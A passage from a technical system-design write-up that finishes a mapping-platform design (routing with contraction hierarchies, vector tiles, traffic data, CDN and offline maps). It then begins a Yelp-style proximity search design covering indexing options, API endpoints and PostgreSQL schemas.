  timestamp TIMESTAMPTZ NOT NULL,
  speed_kmh SMALLINT,
  probe_count SMALLINT,
  confidence REAL
);

-- Hypertable for time-series performance
SELECT create_hypertable('traffic_observations', 'timestamp');

-- Index for real-time lookups
CREATE INDEX idx_traffic_segment_time
ON traffic_observations(segment_id, timestamp DESC);
```

**Retention:**

- Raw observations: 7 days
- Hourly aggregates: 1 year
- Daily patterns: 5 years

### POI Schema

**Primary Store:** PostgreSQL with PostGIS extension

```sql
CREATE TABLE places (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  name TEXT NOT NULL,
  location GEOGRAPHY(POINT, 4326) NOT NULL,
  category VARCHAR(50),
  address_components JSONB,
  popularity_score REAL DEFAULT 0,
  created_at TIMESTAMPTZ DEFAULT NOW(),
  updated_at TIMESTAMPTZ DEFAULT NOW()
);

CREATE INDEX idx_places_location ON places USING GIST(location);
CREATE INDEX idx_places_category ON places(category);
CREATE INDEX idx_places_name_trgm ON places USING GIN(name gin_trgm_ops);
```

### Database Selection Matrix

| Data Type           | Store                | Rationale                                 |
| ------------------- | -------------------- | ----------------------------------------- |
| Road graph          | Memory-mapped file   | O(1) access, no serialization overhead    |
| Tiles               | Object storage + CDN | Static content, high read volume          |
| Traffic (real-time) | Time-series DB       | Time-windowed queries, retention policies |
| Places/POI          | PostgreSQL + PostGIS | Spatial queries, full-text search         |
| User data           | PostgreSQL           | ACID, relational queries                  |
| Search index        | Elasticsearch        | Full-text, autocomplete, facets           |

## Low-Level Design

### Contraction Hierarchies Implementation

<figure>

![Node ordering determines preprocessing quality. Lower priority = contracted earlier.](./node-ordering-determines-preprocessing-quality-lower-priority-contracted-earlier.svg)

<figcaption>Node ordering determines preprocessing quality. Lower priority = contracted earlier.</figcaption>
</figure>

**Node Ordering Heuristic:**

```
priority(v) = edge_difference(v)
            + contract_depth(v)
            + original_edges(v)
```

Where:

- `edge_difference`: Number of shortcuts that would be added minus edges removed
- `contract_depth`: Maximum hierarchy level among neighbors
- `original_edges`: Number of non-shortcut edges (prefer removing shortcuts first)

**Witness Search:**

Before adding a shortcut u→w (through v), check if a shorter path u→w exists without v:

```
shortcut_needed = (d(u,v) + d(v,w)) < witness_search(u, w, excluding v)
```

Witness search is a bounded Dijkstra; the bound is the proposed shortcut length.

**Query Algorithm:**

```python
def ch_query(source, target):
    # Bidirectional Dijkstra, only "upward" edges
    forward = dijkstra_upward(source)
    backward = dijkstra_upward(target)

    # Find best meeting point
    best_dist = infinity
    meeting_node = None
    for node in forward.visited ∩ backward.visited:
        dist = forward.dist[node] + backward.dist[node]
        if dist < best_dist:
            best_dist = dist
            meeting_node = node

    # Unpack shortcuts recursively
    return unpack_path(source, meeting_node, target)
```

**Why "upward" only works:**

The hierarchy ensures that for any shortest path, there exists a path in the CH graph that only goes up (in CH level) from source, meets at some top node, then only goes up (reversed = down in original) to target. This dramatically prunes the search space.

### Map Matching Algorithm

Map matching assigns GPS probes to road segments. The standard approach uses a Hidden Markov Model (HMM):

**States:** Road segments within radius of GPS point
**Observations:** GPS coordinates
**Emission probability:** Based on distance from GPS point to road segment
**Transition probability:** Based on routing distance between consecutive candidate segments

**Algorithm (Viterbi):**

1. For each GPS point, find candidate road segments within 50m radius
2. Compute emission probabilities: `P(gps | segment) ∝ exp(-distance² / σ²)`
3. Compute transition probabilities between consecutive candidates
4. Find most likely sequence using Viterbi algorithm

**Output:** Sequence of road segments with timestamps → enables speed computation per segment.

### Tile Rendering Pipeline

**Vector Tile Generation:**

1. **Feature extraction**: Query PostGIS for features in tile bounding box
2. **Simplification**: Douglas-Peucker algorithm, tolerance based on zoom level
3. **Clipping**: Clip features to tile boundary with buffer
4. **Encoding**: Convert to Mapbox Vector Tile (MVT) format
5. **Compression**: gzip for storage/transfer

**Simplification Tolerance:**

| Zoom Level | Tolerance (meters) | Rationale                            |
| ---------- | ------------------ | ------------------------------------ |
| 0-5        | 1000+              | Only major features visible          |
| 6-10       | 100-1000           | Country/state level                  |
| 11-15      | 10-100             | City level                           |
| 16+        | 1-10               | Street level, minimal simplification |

**MVT Structure:**

```protobuf
message Tile {
  repeated Layer layers = 3;
}

message Layer {
  required string name = 1;
  repeated Feature features = 2;
  repeated string keys = 3;    // Shared key list
  repeated Value values = 4;   // Shared value list
  optional uint32 extent = 5;  // Default 4096
}

message Feature {
  optional uint64 id = 1;
  repeated uint32 tags = 2;    // Indices into keys/values
  optional GeomType type = 3;
  repeated uint32 geometry = 4; // Command-encoded
}
```

Keys and values are deduplicated across features for compression.

## Frontend Considerations

### Tile Loading Strategy

**Viewport-Based Loading:**

```typescript
interface Viewport {
  center: LatLng
  zoom: number
  bounds: LatLngBounds
}

function getTilesForViewport(viewport: Viewport): TileCoord[] {
  const { bounds, zoom } = viewport
  const tiles: TileCoord[] = []

  const minTile = latLngToTile(bounds.southwest, zoom)
  const maxTile = latLngToTile(bounds.northeast, zoom)

  for (let x = minTile.x; x <= maxTile.x; x++) {
    for (let y = minTile.y; y <= maxTile.y; y++) {
      tiles.push({ z: zoom, x, y })
    }
  }

  return tiles
}
```

**Prefetching:**

- Load tiles 1 level above and below current zoom (for smooth zoom transitions)
- Load adjacent tiles outside viewport (buffer for panning)
- Typical: 20-30 tiles per view state

**Tile Cache (Client-Side):**

```typescript
class TileCache {
  private cache: Map<string, ImageBitmap>
  private maxSize: number = 500 // tiles
  private lru: string[] = []

  get(key: string): ImageBitmap | undefined {
    const tile = this.cache.get(key)
    if (tile) {
      // Move to end of LRU
      this.lru = this.lru.filter((k) => k !== key)
      this.lru.push(key)
    }
    return tile
  }

  set(key: string, tile: ImageBitmap): void {
    if (this.cache.size >= this.maxSize) {
      const evict = this.lru.shift()!
      this.cache.delete(evict)
    }
    this.cache.set(key, tile)
    this.lru.push(key)
  }
}
```

### Vector Tile Rendering

**WebGL Rendering Pipeline:**

1. Parse MVT protobuf → geometry arrays
2. Upload vertex buffers to GPU
3. Apply style rules (zoom-dependent line widths, colors)
4. Render with appropriate shaders

**Libraries:**

- Mapbox GL JS / MapLibre GL JS (WebGL-based)
- Leaflet with vector tile plugins (Canvas/SVG fallback)
- deck.gl for data visualization layers

**Performance Considerations:**

- Batch draw calls per layer
- Use instanced rendering for repeated symbols (icons)
- Level-of-detail: reduce vertex count at lower zooms
- Web Workers for MVT parsing (off main thread)

### Route Visualization

**Polyline Rendering:**

```typescript
interface RouteLayer {
  // Decoded polyline as [lat, lng] pairs
  coordinates: [number, number][]

  // Style
  strokeColor: string
  strokeWidth: number

  // Animation state (for traffic coloring)
  trafficSegments: {
    startIndex: number
    endIndex: number
    severity: "free_flow" | "light" | "moderate" | "heavy"
  }[]
}
```

**Traffic Coloring:**

| Severity  | Color            | Speed Ratio |
| --------- | ---------------- | ----------- |
| Free flow | Green (#4CAF50)  | > 0.8       |
| Light     | Yellow (#FFEB3B) | 0.6-0.8     |
| Moderate  | Orange (#FF9800) | 0.4-0.6     |
| Heavy     | Red (#F44336)    | < 0.4       |

**Animation (Navigation Mode):**

- Update position marker at 60fps
- Smooth interpolation between GPS updates
- Re-route detection: compare current position to expected route

### Offline Maps Implementation

**Download Strategy:**

```typescript
interface OfflineRegion {
  bounds: LatLngBounds
  minZoom: number
  maxZoom: number
  includeRouting: boolean
}

function estimateDownloadSize(region: OfflineRegion): number {
  let totalTiles = 0
  for (let z = region.minZoom; z <= region.maxZoom; z++) {
    const tilesAtZoom = countTilesInBounds(region.bounds, z)
    totalTiles += tilesAtZoom
  }
  // Average 30KB per compressed vector tile
  return totalTiles * 30 * 1024
}
```

**Storage Format:**

SQLite database with:

- Tile blobs keyed by (z, x, y)
- Metadata (region bounds, version, expiry)
- Road graph subset for offline routing

**Delta Updates:**

1. Server generates diff between versions
2. Client downloads only changed tiles (typically 2-8 MB)
3. Apply patch to local database
4. Verify integrity with checksums

Bandwidth reduction: up to 75% compared to full re-download.

## Infrastructure Design

### CDN Architecture

**Tile CDN Requirements:**

- Edge locations in 100+ cities
- Cache hit rate > 95%
- Origin shield to protect tile servers
- Custom cache keys: `/{layer}/{z}/{x}/{y}`

**Cache Hierarchy:**

```
User → Edge PoP → Regional Cache → Origin Shield → Tile Server
```

**Cache TTLs:**

| Zoom Level | TTL     | Rationale                              |
| ---------- | ------- | -------------------------------------- |
| 0-10       | 30 days | Rarely changes (coastlines, countries) |
| 11-15      | 7 days  | City infrastructure                    |
| 16-22      | 1 day   | Street details, POIs                   |

### Routing Service Deployment

**Memory Requirements:**

- North America CH graph: ~20 GB RAM
- Europe CH graph: ~15 GB RAM
- Global: ~100 GB RAM (sharded)

**Deployment Strategy:**

1. **Regional sharding**: Each region runs its own CH graph
2. **Cross-region routing**: Stitch at border nodes
3. **Replication**: 3 instances per region for availability
4. **Updates**: Blue-green deployment for new CH builds

### Cloud Architecture (AWS)

| Component          | Service                    | Configuration                               |
| ------------------ | -------------------------- | ------------------------------------------- |
| Tile CDN           | CloudFront                 | Global edge, S3 origin                      |
| Tile Storage       | S3                         | Standard for hot tiles, Glacier for archive |
| Routing Service    | ECS Fargate                | Memory-optimized (r6g.4xlarge equivalent)   |
| Traffic Ingestion  | Kinesis                    | Sharded by region                           |
| Traffic Processing | Lambda + Kinesis Analytics | Real-time aggregation                       |
| Geocoding          | OpenSearch                 | Geo queries, autocomplete                   |
| POI Database       | RDS PostgreSQL             | PostGIS extension                           |
| Graph Storage      | EFS                        | Shared memory-mapped files                  |

<figure>

![AWS reference architecture with regional routing service instances and global tile CDN.](./aws-reference-architecture-with-regional-routing-service-instances-and-global-ti.svg)

<figcaption>AWS reference architecture with regional routing service instances and global tile CDN.</figcaption>
</figure>

### Self-Hosted Alternatives

| Managed Service | Self-Hosted       | When to Self-Host        |
| --------------- | ----------------- | ------------------------ |
| CloudFront      | Nginx + Varnish   | Cost at extreme scale    |
| OpenSearch      | Elasticsearch     | Specific plugins needed  |
| RDS PostgreSQL  | PostgreSQL on EC2 | PostGIS extensions, cost |
| Kinesis         | Apache Kafka      | Higher throughput, cost  |
| Timestream      | InfluxDB          | Open-source flexibility  |

## Monitoring and Observability

### Key Metrics

**Tile Service:**

- Cache hit rate (target: > 95%)
- Tile generation latency (p99 < 200ms)
- Error rate by zoom level

**Routing Service:**

- Query latency (p50, p99)
- Routes not found rate
- Traffic overlay staleness

**Traffic Service:**

- Probe ingestion lag (target: < 30s)
- Segment coverage (% of roads with data)
- ETA accuracy (actual vs. predicted)

### Alerting Thresholds

| Metric              | Warning | Critical |
| ------------------- | ------- | -------- |
| Tile cache hit rate | < 90%   | < 80%    |
| Routing p99 latency | > 500ms | > 1s     |
| Traffic data lag    | > 2 min | > 5 min  |
| ETA accuracy        | < 95%   | < 90%    |

## Conclusion

This design addresses the core challenges of a mapping platform:

1. **Rendering at scale**: Tile pyramid with vector tiles enables efficient caching (95%+ hit rate) and client-side styling. The quadtree structure scales from 1 tile (world view) to 69 billion (building level).

2. **Fast routing**: Contraction Hierarchies preprocessing (5 minutes) enables 163µs queries—a 30,000x speedup over Dijkstra. Traffic is overlaid as edge weight multipliers without full recomputation.

3. **Accurate ETAs**: Graph Neural Networks on supersegments achieve 97%+ accuracy. The key insight: model road sections with shared traffic patterns rather than individual segments.

**Key tradeoffs accepted:**

- Preprocessing time for query speed (CH approach)
- Storage overhead (21-68 bytes/node) for routing performance
- Eventual consistency in traffic data (2-minute lag acceptable)

**Limitations:**

- CH preprocessing blocks rapid road network updates (construction, closures)
- Traffic accuracy depends on probe density (sparse in rural areas)
- Offline routing requires downloading regional graph subsets

**Future improvements:**

- Machine learning for route personalization
- Real-time construction detection from probe data
- Federated routing across providers

## Appendix

### Prerequisites

- Graph algorithms (Dijkstra, A\*)
- Spatial indexing concepts (R-tree, quadtree)
- Distributed systems fundamentals
- CDN caching strategies

### Terminology

| Term                             | Definition                                                                 |
| -------------------------------- | -------------------------------------------------------------------------- |
| **CH (Contraction Hierarchies)** | Preprocessing technique that creates shortcuts to speed up routing queries |
| **MVT (Mapbox Vector Tile)**     | Protocol buffer format for encoding map features as vectors                |
| **FCD (Floating Car Data)**      | Anonymized GPS traces from vehicles used for traffic estimation            |
| **Supersegment**                 | Group of adjacent road segments with shared traffic patterns (GNN concept) |
| **Map Matching**                 | Algorithm to assign GPS probes to road network segments                    |
| **Web Mercator**                 | Map projection (EPSG:3857) used by most web maps                           |

### Summary

- **Tile system**: Quadtree pyramid with vector tiles (MVT), CDN-cached, 20-30 tiles per viewport
- **Routing**: Contraction Hierarchies with 163µs query time, traffic as edge weight overlay
- **Traffic**: FCD from probes, 2-minute aggregation windows, GNN-based ETA prediction
- **Geocoding**: Address parsing + spatial indexing (R-tree/S2), autocomplete via pruning radix trie
- **Offline**: SQLite-stored tiles and graph subset, delta updates reduce bandwidth 75%
- **Scale**: 1.7M RPS tiles, 70K RPS routing at peak

### References

- [Contraction Hierarchies: Faster and Simpler Hierarchical Routing in Road Networks](https://link.springer.com/chapter/10.1007/978-3-540-68552-4_24) - Geisberger et al., 2008
- [Mapbox Vector Tile Specification](https://github.com/mapbox/vector-tile-spec) - Protobuf encoding for vector tiles
- [Traffic Prediction with Advanced Graph Neural Networks](https://deepmind.google/discover/blog/traffic-prediction-with-advanced-graph-neural-networks/) - DeepMind, 2021
- [OpenStreetMap Zoom Levels](https://wiki.openstreetmap.org/wiki/Zoom_levels) - Tile resolution by zoom
- [Google S2 Geometry Library](https://s2geometry.io/) - Spherical geometry for spatial indexing
- [OSRM (Open Source Routing Machine)](https://github.com/Project-OSRM/osrm-backend) - Production CH implementation
- [libpostal](https://github.com/openvenues/libpostal) - Address parsing library
- [Route Planning in Transportation Networks](https://arxiv.org/abs/1504.05140) - Bast et al., comprehensive survey

---

## Design Yelp: Location-Based Business Discovery Platform

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-yelp-proximity-service
**Category:** System Design / System Design Problems
**Description:** A comprehensive system design for a location-based business discovery service. This design addresses proximity search at scale, multi-signal ranking, and user-generated content moderation with a focus on sub-100ms search latency and global availability.

# Design Yelp: Location-Based Business Discovery Platform

A comprehensive system design for a location-based business discovery service. This design addresses proximity search at scale, multi-signal ranking, and user-generated content moderation with a focus on sub-100ms search latency and global availability.

<figure>

![High-level architecture: Client requests flow through edge infrastructure to application services, with geospatial indexing in Elasticsearch and real-time updates via Kafka.](./high-level-architecture-client-requests-flow-through-edge-infrastructure-to-appl.svg)

<figcaption>High-level architecture: Client requests flow through edge infrastructure to application services, with geospatial indexing in Elasticsearch and real-time updates via Kafka.</figcaption>
</figure>

## Abstract

Proximity services solve a fundamentally different problem than traditional text search: the answer depends not just on _what_ you're looking for but _where_ you are. This creates unique indexing challenges—you can't pre-compute rankings when the query center point changes with every request.

**The core trade-off space:**

- **Indexing strategy**: Geohash (simple, bounded precision) vs. Quadtree (adaptive density) vs. R-tree (optimal for rectangles). Each trades query flexibility against write complexity and memory overhead.
- **Search radius handling**: Fixed grid cells leak results at boundaries; hierarchical approaches add latency but guarantee coverage.
- **Ranking signals**: Distance alone produces poor results. Real systems blend distance, ratings, recency, personalization, and business attributes—but more signals mean slower ranking and harder explainability.
- **Write path complexity**: Business data changes infrequently, but reviews flow continuously. Decoupling these paths enables independent scaling but introduces consistency windows.

**Real-world context**: Yelp handles 178 million unique visitors monthly with 244 million reviews. Google Maps indexes 200+ million places. Foursquare's Pilgrim SDK processes 14 billion location signals daily for venue detection. These systems demonstrate that sub-100ms latency is achievable at scale, but requires aggressive caching, denormalization, and carefully bounded search spaces.

**Mental model**: Think of this as three systems in one: (1) a geospatial index that answers "what's nearby?", (2) a ranking engine that orders results by relevance, and (3) a content platform that manages reviews, photos, and business data. The challenge is making them work together with consistent latency under varying load patterns.

## Requirements

### Functional Requirements

| Feature              | Priority | Description                                 |
| -------------------- | -------- | ------------------------------------------- |
| Nearby search        | Core     | Find businesses within radius of a location |
| Business profiles    | Core     | View business details, hours, attributes    |
| Reviews & ratings    | Core     | Read/write reviews, aggregate ratings       |
| Photos               | Core     | View/upload business photos                 |
| Search by category   | Core     | Filter by cuisine, service type             |
| Search by attributes | High     | Filter by price, hours, amenities           |
| Check-ins            | Medium   | Record visits, see activity                 |
| Bookmarks            | Medium   | Save businesses for later                   |
| Personalization      | Medium   | Recommendations based on history            |
| Business owner tools | Medium   | Claim business, respond to reviews          |

**Scope for this article**: We'll design the core proximity search, business data, and review systems. Check-ins and advanced personalization are covered briefly; advertising and business analytics are out of scope.

### Non-Functional Requirements

| Requirement      | Target                                      | Rationale                                                   |
| ---------------- | ------------------------------------------- | ----------------------------------------------------------- |
| Search latency   | p99 < 100ms                                 | User expectation for "instant" results                      |
| Write latency    | p99 < 500ms                                 | Acceptable for review submission                            |
| Availability     | 99.99%                                      | Revenue-critical, user trust                                |
| Read/Write ratio | 100:1                                       | Read-heavy workload                                         |
| Data freshness   | < 30s for reviews, < 5min for business data | Reviews need quick visibility; business data changes rarely |
| Global coverage  | Multi-region                                | Users travel; businesses are everywhere                     |

### Scale Estimation

**Users:**

- Monthly Active Users (MAU): 100M
- Daily Active Users (DAU): 30M
- Peak concurrent users: 3M (10% of DAU)

**Businesses:**

- Total businesses: 10M globally
- Active businesses (updated in last year): 5M
- New businesses per day: 10K

**Traffic:**

- Search queries: 30M DAU × 5 searches/day = 150M searches/day ≈ 1,700 QPS
- Peak search: 3× average = 5,100 QPS
- Business profile views: 30M DAU × 10 views/day = 300M/day ≈ 3,500 QPS
- Review writes: 30M DAU × 0.01 reviews/day = 300K reviews/day ≈ 3.5 writes/sec
- Photo uploads: ~100K/day

**Storage:**

- Business data: 10M × 10KB = 100GB
- Reviews: 200M reviews × 2KB = 400GB
- Photos: 500M photos × 500KB average = 250TB (object storage)
- Search index: ~50GB (denormalized business + location data)
- 5-year projection: ~2PB total (dominated by photos)

## Design Paths

### Path A: Geohash-Based Indexing

**Best when:**

- Uniform business density across regions
- Fixed search radius (e.g., always 5km)
- Simpler operational requirements

**Architecture:**

![Diagram](./diagram-1.svg)

**Key characteristics:**

- Geohash encodes lat/lon into a string where prefix matches indicate proximity
- 6-character geohash ≈ 1.2km × 600m cell; 5-character ≈ 5km × 5km
- Query requires checking target cell + 8 neighboring cells to handle boundary cases
- Index structure is a simple key-value map: geohash → list of business IDs

**Trade-offs:**

- ✅ Simple to implement and debug
- ✅ Excellent cache locality (nearby queries hit same cells)
- ✅ Easy sharding by geohash prefix
- ❌ Fixed precision creates density mismatches (Manhattan vs. rural Wyoming)
- ❌ Variable radius searches require multiple precision levels
- ❌ Edge cases at cell boundaries require neighbor expansion

**Real-world example:** Uber's geospatial indexing uses geohash for initial filtering, then refines with exact distance calculations. Their H3 system (hexagonal hierarchical index) evolved from geohash limitations but shares the prefix-based lookup principle.

### Path B: Quadtree / S2 Geometry

**Best when:**

- Highly variable business density
- Need for adaptive precision
- Complex geometric queries (polygons, routes)

**Architecture:**

![Diagram](./diagram-2.svg)

**Key characteristics:**

- Recursively subdivides space until each cell contains ≤ N businesses
- Dense areas (cities) have deeper trees; sparse areas (rural) stay shallow
- Google's S2 Geometry library uses this with spherical projection
- Cell IDs encode the path from root, enabling range queries

**Trade-offs:**

- ✅ Adapts to density automatically
- ✅ Efficient for variable-radius queries
- ✅ Handles complex shapes (polygons, paths)
- ❌ More complex implementation
- ❌ Tree rebalancing on updates
- ❌ Harder to cache (cells have variable sizes)

**Real-world example:** Google Maps uses S2 cells extensively. A search in Manhattan might use level-16 cells (~150m), while rural areas use level-10 (~10km). Foursquare's Pilgrim SDK uses S2 for geofencing with 14 billion daily signals.

### Path C: R-tree (Elasticsearch/PostGIS)

**Best when:**

- Need full-text search combined with geo
- Complex attribute filtering
- Leveraging existing search infrastructure

**Architecture:**

![Diagram](./diagram-3.svg)

**Key characteristics:**

- Elasticsearch uses BKD trees (variant of R-trees) for geo_point fields
- Combines spatial queries with full-text search and filtering
- `geo_distance` query returns all points within radius
- `geo_bounding_box` for rectangular regions

**Trade-offs:**

- ✅ Combines geo + text + attributes in single query
- ✅ Mature tooling, operational knowledge
- ✅ Built-in relevance scoring
- ❌ Higher latency than specialized geo indexes (~20-50ms vs ~5ms)
- ❌ Memory overhead for inverted indexes
- ❌ Write amplification for index updates

**Real-world example:** Yelp uses Elasticsearch for their search infrastructure. Their architecture handles 150M+ searches per day with sub-100ms latency by combining aggressive caching with optimized ES configurations.

### Path Comparison

| Factor                    | Geohash               | Quadtree/S2           | R-tree (ES)          |
| ------------------------- | --------------------- | --------------------- | -------------------- |
| Implementation complexity | Low                   | High                  | Medium (if using ES) |
| Query latency             | ~5ms                  | ~10ms                 | ~30ms                |
| Variable radius           | Multiple queries      | Native                | Native               |
| Density handling          | Poor                  | Excellent             | Good                 |
| Text search               | Separate system       | Separate system       | Integrated           |
| Operational overhead      | Low                   | Medium                | Medium-High          |
| Best for                  | Fixed-radius, uniform | Complex geo, variable | Full-featured search |

### This Article's Focus

This article focuses on **Path C (Elasticsearch-based)** because:

1. Most proximity services need combined text + geo + attribute search
2. Elasticsearch is widely deployed with known operational patterns
3. The latency difference (~30ms vs ~5ms) is acceptable when total budget is 100ms
4. Avoiding a separate geo-index reduces system complexity

For systems requiring sub-10ms geo queries at massive scale (e.g., ride-sharing dispatch), Path B with custom S2 implementation would be more appropriate.

## API Design

### Search Nearby Businesses

**Endpoint:** `GET /api/v1/businesses/search`

**Query Parameters:**

| Parameter  | Type   | Required | Description                                                             |
| ---------- | ------ | -------- | ----------------------------------------------------------------------- |
| `lat`      | float  | Yes      | Latitude (-90 to 90)                                                    |
| `lon`      | float  | Yes      | Longitude (-180 to 180)                                                 |
| `radius`   | int    | No       | Search radius in meters (default: 5000, max: 50000)                     |
| `category` | string | No       | Category filter (e.g., "restaurants", "coffee")                         |
| `price`    | string | No       | Price filter ("1", "2", "3", "4" or ranges "1,2")                       |
| `open_now` | bool   | No       | Filter to currently open businesses                                     |
| `sort`     | string | No       | Sort order: "distance", "rating", "review_count", "relevance" (default) |
| `cursor`   | string | No       | Pagination cursor                                                       |
| `limit`    | int    | No       | Results per page (default: 20, max: 50)                                 |

**Response (200 OK):**

```json
{
  "businesses": [
    {
      "id": "biz_abc123",
      "name": "Joe's Coffee",
      "slug": "joes-coffee-san-francisco",
      "location": {
        "lat": 37.7749,
        "lon": -122.4194,
        "address": "123 Market St",
        "city": "San Francisco",
        "state": "CA",
        "postal_code": "94102",
        "country": "US"
      },
      "distance_meters": 450,
      "categories": [{ "id": "coffee", "name": "Coffee & Tea" }],
      "rating": 4.5,
      "review_count": 1247,
      "price_level": 2,
      "hours": {
        "is_open_now": true,
        "today": "7:00 AM - 8:00 PM"
      },
      "photos": {
        "thumbnail": "https://cdn.example.com/photos/abc123/thumb.jpg",
        "count": 523
      },
      "attributes": {
        "wifi": true,
        "outdoor_seating": true,
        "takes_reservations": false
      }
    }
  ],
  "total": 847,
  "cursor": "eyJvZmZzZXQiOjIwfQ==",
  "search_metadata": {
    "center": { "lat": 37.7749, "lon": -122.4194 },
    "radius_meters": 5000,
    "query_time_ms": 42
  }
}
```

**Error Responses:**

- `400 Bad Request`: Invalid coordinates, radius out of range
- `429 Too Many Requests`: Rate limit exceeded

**Rate Limits:** 100 requests/minute per user (authenticated), 20/minute (anonymous)

### Get Business Details

**Endpoint:** `GET /api/v1/businesses/{business_id}`

**Response (200 OK):**

```json
{
  "id": "biz_abc123",
  "name": "Joe's Coffee",
  "slug": "joes-coffee-san-francisco",
  "claimed": true,
  "location": {
    "lat": 37.7749,
    "lon": -122.4194,
    "address": "123 Market St",
    "city": "San Francisco",
    "state": "CA",
    "postal_code": "94102",
    "country": "US",
    "cross_streets": "Market & 4th"
  },
  "contact": {
    "phone": "+1-415-555-0123",
    "website": "https://joescoffee.com"
  },
  "categories": [
    { "id": "coffee", "name": "Coffee & Tea" },
    { "id": "breakfast", "name": "Breakfast & Brunch" }
  ],
  "rating": 4.5,
  "review_count": 1247,
  "price_level": 2,
  "hours": {
    "monday": [{ "open": "07:00", "close": "20:00" }],
    "tuesday": [{ "open": "07:00", "close": "20:00" }],
    "is_open_now": true,
    "special_hours": [{ "date": "2024-12-25", "is_closed": true }]
  },
  "photos": [
    {
      "id": "photo_xyz",
      "url": "https://cdn.example.com/photos/xyz.jpg",
      "caption": "Interior",
      "user_id": "user_123"
    }
  ],
  "attributes": {
    "wifi": true,
    "outdoor_seating": true,
    "parking": "street",
    "noise_level": "moderate",
    "good_for": ["working", "casual_dining"],
    "accepts": ["credit_cards", "apple_pay"]
  },
  "highlights": ["Great for working remotely", "Excellent espresso"]
}
```

### Submit Review

**Endpoint:** `POST /api/v1/businesses/{business_id}/reviews`

**Request:**

```json
{
  "rating": 4,
  "text": "Great coffee and atmosphere. The baristas are friendly and the WiFi is fast. Perfect spot for remote work.",
  "photos": ["upload_token_1", "upload_token_2"]
}
```

**Response (201 Created):**

```json
{
  "id": "review_def456",
  "business_id": "biz_abc123",
  "user": {
    "id": "user_789",
    "name": "John D.",
    "review_count": 42,
    "photo_url": "https://cdn.example.com/users/789.jpg"
  },
  "rating": 4,
  "text": "Great coffee and atmosphere...",
  "photos": [{ "id": "photo_1", "url": "https://cdn.example.com/..." }],
  "created_at": "2024-01-15T10:30:00Z",
  "status": "pending_moderation"
}
```

**Error Responses:**

- `400 Bad Request`: Rating out of range (1-5), text too short (<50 chars) or too long (>5000 chars)
- `401 Unauthorized`: Not authenticated
- `403 Forbidden`: User has already reviewed this business
- `429 Too Many Requests`: Review rate limit (5/day per user)

### Pagination Strategy

**Cursor-based pagination** (chosen over offset):

- **Why**: Offset pagination breaks when data changes between pages. With 300K new reviews/day, offset=1000 returns different results seconds apart.
- **Implementation**: Cursor encodes the last seen sort key (e.g., `{score: 4.5, id: "biz_xyz"}`).
- **Trade-off**: Can't jump to arbitrary pages, but provides consistent results.

```json
{
  "cursor": "eyJzY29yZSI6NC41LCJpZCI6ImJpel94eXoifQ==",
  "has_more": true
}
```

### API Response Optimization

**Field inclusion strategy:**

- Default response includes fields needed for list views
- `?expand=hours,attributes,photos` for detail views
- Reduces payload size by 60% for search results

**Denormalization decisions:**

- Include `distance_meters` in search results (requires computation anyway)
- Include `is_open_now` (computed from hours, but clients need it)
- Exclude full `hours` object from search (add via `?expand=hours`)

## Data Modeling

### Business Schema

**Primary Store:** PostgreSQL (ACID for business data integrity)

```sql
CREATE TABLE businesses (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    name VARCHAR(255) NOT NULL,
    slug VARCHAR(255) UNIQUE NOT NULL,

    -- Location
    latitude DECIMAL(10, 8) NOT NULL,
    longitude DECIMAL(11, 8) NOT NULL,
    geohash VARCHAR(12) GENERATED ALWAYS AS (
        ST_GeoHash(ST_SetSRID(ST_MakePoint(longitude, latitude), 4326), 12)
    ) STORED,
    address_line1 VARCHAR(255),
    address_line2 VARCHAR(255),
    city VARCHAR(100),
    state VARCHAR(100),
    postal_code VARCHAR(20),
    country CHAR(2) NOT NULL,

    -- Business info
    phone VARCHAR(20),
    website VARCHAR(500),
    price_level SMALLINT CHECK (price_level BETWEEN 1 AND 4),

    -- Aggregates (denormalized for read performance)
    rating_avg DECIMAL(2, 1) DEFAULT 0,
    review_count INTEGER DEFAULT 0,
    photo_count INTEGER DEFAULT 0,

    -- Status
    claimed BOOLEAN DEFAULT FALSE,
    owner_id UUID REFERENCES users(id),
    status VARCHAR(20) DEFAULT 'active',

    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW()
);

-- Geospatial index for PostGIS queries
CREATE INDEX idx_businesses_location ON businesses
    USING GIST (ST_SetSRID(ST_MakePoint(longitude, latitude), 4326));

-- Geohash prefix index for simple lookups
CREATE INDEX idx_businesses_geohash ON businesses (geohash varchar_pattern_ops);

-- Category lookups
CREATE INDEX idx_businesses_city_status ON businesses (city, status)
    WHERE status = 'active';
```

### Business Hours Schema

```sql
CREATE TABLE business_hours (
    business_id UUID REFERENCES businesses(id) ON DELETE CASCADE,
    day_of_week SMALLINT NOT NULL CHECK (day_of_week BETWEEN 0 AND 6),
    open_time TIME NOT NULL,
    close_time TIME NOT NULL,
    PRIMARY KEY (business_id, day_of_week, open_time)
);

CREATE TABLE business_special_hours (
    business_id UUID REFERENCES businesses(id) ON DELETE CASCADE,
    date DATE NOT NULL,
    is_closed BOOLEAN DEFAULT FALSE,
    open_time TIME,
    close_time TIME,
    PRIMARY KEY (business_id, date)
);
```

### Categories Schema

```sql
CREATE TABLE categories (
    id VARCHAR(50) PRIMARY KEY,
    name VARCHAR(100) NOT NULL,
    parent_id VARCHAR(50) REFERENCES categories(id),
    level SMALLINT NOT NULL DEFAULT 0
);

CREATE TABLE business_categories (
    business_id UUID REFERENCES businesses(id) ON DELETE CASCADE,
    category_id VARCHAR(50) REFERENCES categories(id),
    is_primary BOOLEAN DEFAULT FALSE,
    PRIMARY KEY (business_id, category_id)
);

CREATE INDEX idx_business_categories_category ON business_categories (category_id);
```

### Reviews Schema

```sql
CREATE TABLE reviews (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    business_id UUID NOT NULL REFERENCES businesses(id),
    user_id UUID NOT NULL REFERENCES users(id),
    rating SMALLINT NOT NULL CHECK (rating BETWEEN 1 AND 5),
    text TEXT NOT NULL CHECK (char_length(text) BETWEEN 50 AND 5000),

    -- Moderation
    status VARCHAR(20) DEFAULT 'pending',
    moderation_score DECIMAL(3, 2),
    moderated_at TIMESTAMPTZ,

    -- Engagement
    useful_count INTEGER DEFAULT 0,
    funny_count INTEGER DEFAULT 0,
    cool_count INTEGER DEFAULT 0,

    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW(),

    UNIQUE (business_id, user_id)
);

